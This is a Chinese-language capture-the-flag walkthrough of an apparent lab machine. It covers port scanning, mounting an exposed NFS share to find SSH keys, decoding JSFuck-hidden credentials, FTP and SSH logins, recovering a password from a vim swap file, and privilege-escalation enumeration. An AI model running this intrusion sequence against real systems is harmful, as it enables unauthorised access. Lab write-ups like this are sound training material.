CONNECT THE DOTS 挂载操作 jsfuck ftp download 信息收集
主机发现
sudo nmap -sT --min-rate 10000 -p- xx.x.xx.x -oA nmapscan/ports
要提取出所有的端口,进行字符操作
cat nmapscan/ports | grep open | awk -F'/' '{print $1}' | tr '\n\r' ','
sudo nmap -sT -sC -sV -O -p xx.xx.xx.xx -oA nmapscan/detail
分析一下端口优先级,21的ftp有可能存在信息泄露,另外是111rpc和2049端口跑的nfs也可能存在信息泄露
sudo nmap -sU --top-ports 20 xx.xx.xx.xx -oA nmapscan/udp
sudo nmap --script=vuln -p xx.xx.xx.xx -oA nmapscan/vuln
对ftp和nfs的匿名和空密码尝试
ftp xx.xx.xx.xx
anonymous
错误
bye退出
对nfs进行探测
showmount -e xx.xx.xx.xx
进行挂载连接
mkdir mo
sudo mount -t nfs xx.xx.xx.xx:/home/morris mo
进入到当前目录的mo下查看有什么内容 重要的是一定要把隐藏的文件 -a也给打出来 ls -liah
发现.ssh目录里面保留着公钥私钥
查看公钥
发现这个私钥是给用户morris的所以进行私钥登录看看能否成功
sudo ssh -i id_rsa morris@xx.xx.xx.xx -p 7822
仍然需要密码,所以切换到网页渗透
对网页进行访问
进行目录爆破
sudo gobuster dir -u x x -w xx
逐个访问发现一个indexof
点击register.html进入到一个注册的页面
查看他的源码,没有任何注释但是有一个cs文件就是这个bootstrap.min.cs
发现是jsfuck(我也是第一次看)--用六个字符去混淆js的脚本,打破逻辑
将bootsrap.min.cs里的所有字符都复制出来
将不属于jsfuck的内容全部删除
双引号也得删除
得到解码
把norris当成一个用户名后面紧跟的是2k19的密码
sudo ssh norris@xx.xx.xx.xx -p 7822
2k19
在家目录中查看是否有flag
发现的ftp目录中的文件都没办法打开
尝试用norris用户登录ftp
sodu ftp xx.xx.xx.xx
name: norris
password 2k19
成功登录
ls查看有什么文件后全部进行下载
先输入一个prompt设置下载不需要询问
通过mget *.*下载多组文件
查看一下下载到的信息
利用files命令查看三个的文件属性
发现game.jpg.bak是土拍你
利用exiftools查看此图片信息
发现comment是摩斯密码
利用搜索软件进行morse解码
将#号剔除
他说电脑即将没电了将所有的文件都保存到了一个叫secrefile中,让我们去找这个文件
继续根据步骤查看一些敏感文件
cat /etc/crontab cat /var/www/html
进入到网站目录这里发现了一些文件 一定要注意隐藏文件 ls -liah
看到了secretfile,上面说东西都藏在这里打开看看
下面还有一个.secretfile.swp
打开不了说权限问题,那就通过远程下载进行,因为刚好在网站目录
kali wget http://xx /.secretfile.swp
使用strings 查看二进制格式中的字符内容
strings .secretfile.swp
第一行可以看到是由vim产生的
所以通过vim查看该文件
利用-r参数来看swp文件
vim -r .secretfile.swp
猜测是一个密码 ##注意得到用户的时候一定要把用户名都保存在一个文件,以防忘记有什么用户可以让我们切换
通过用户记录表挨个试一下能否切换用户
su
password: blehguessme090 #错误
su morris
password :blehguessme090 #成功
但是这个账户的权限好像更低,所以我们回到norris用户中,接下来就两条路,要么继续搜寻目标,要么就进行提权
提权
查看有没有suid的 find / -perm -u=s -type f 2 > /dev/null
查看计划任务 cat /etc/crontab
查看sudo -l 报permission deny
利用getcap查看有什么命令能够读写
由于这个命令不包含在环境变量中所以要使用全局变量
/sbin/getcap -r / 2 > /dev/null